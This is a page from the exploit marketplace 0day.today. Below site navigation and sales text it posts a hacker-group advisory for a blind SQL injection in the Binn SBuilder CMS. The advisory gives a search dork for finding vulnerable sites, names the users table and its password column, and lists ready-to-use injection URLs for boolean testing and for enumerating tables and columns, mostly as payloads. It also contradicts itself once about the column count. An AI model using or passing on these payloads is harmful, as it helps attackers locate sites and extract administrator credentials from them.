0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Binn SBuilder (nid) Remote Blind SQL Injection Vulnerability
[============================================================
Binn SBuilder (nid) Remote Blind SQL Injection Vulnerability
============================================================
--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+ Binn SBuilder (nid) Remote Blind Sql Injection Vulnerabily +==--
--==+====================================================================================+==--
[+] [JosS] + [Spanish Hackers Team] + [Sys - Project]
[+] Info:
[~] Software: Binn SBuilder
[~] HomePage: http://www.cms.ge/
[~] Exploit: Blind Sql Injection [High]
[~] Where: full_text.php?nid=
[~] Bug Found By: JosS
[~] Dork: "Powered by CMS.GE"
[~] Dork2: priv8!
[+] Important tables and columns:
[*] Tables:
[~] Table: binn_users
[*] Columns:
[~] Column: bu_id
[~] Column 2: bu_login
[~] Column 3: bu_pass
[~] Column 4: bu_name
[~] Column 5: bu_admin
[~] Column 6: bu_last_ip
[~] Column 7: bu_last_date
[+] Compression:
[~] True: http://localhost/[path]/full_text.php?nid=[NUM] and 1=1
[~] False: http://localhost/[path]/full_text.php?nid=[NUM] and 1=2
[~] Example: http://localhost/[path]/full_text.php?nid=4855 and 1=1
[~] Example2: http://localhost/[path]/full_text.php?nid=4855 and 1=2
[~] If you see the Web correctly is true, if it is not false.
[+] Exploding:
[*] Checking table:
[~] Exploit: http://localhost/[path]/full_text.php?nid=[NUM] AND (SELECT Count(*) FROM [TABLE]) >= 0
[~] Exploit2: http://localhost/[path]/full_text.php?nid=[NUM] and exists (select * from [TABLE])
[~] Example: http://localhost/[path]/full_text.php?nid=4855 AND (SELECT Count(*) FROM binn_users) >= 0
[~] Example2: http://localhost/[path]/full_text.php?nid=4855 and exists (select * from binn_users)
[~] If you don't see any error, it is that table exist.
[*] Checking columns number of table:
[~] Exploit: http://localhost/[path]/full_text.php?nid=[NUM] AND (SELECT Count(*) FROM [TABLE]) = [NUMBER]
[~] Example: http://localhost/[path]/full_text.php?nid=4855 AND (SELECT Count(*) FROM binn_users) = 7
[~] If you don't see any error, the table has 6 columns.
[*] Checking columns of table:
[~] Exploit: http://localhost/[path]/full_text.php?nid=[NUM] AND (SELECT Count([COLUMN]) FROM [TABLE]) >= 0
[~] Example: http://localhost/[path]/full_text.php?nid=4855 AND (SELECT Count(bu_pass) FROM binn_users) >= 0
[~] If you don't see any error, the column exists.
[*] Admin Password; Noob or Lammer?:
[~] Exploit: Priv8
[~] Example: Priv8
[~] Priv8 , xD.
[+] [The End]
# 0day.today [2024-12-25] #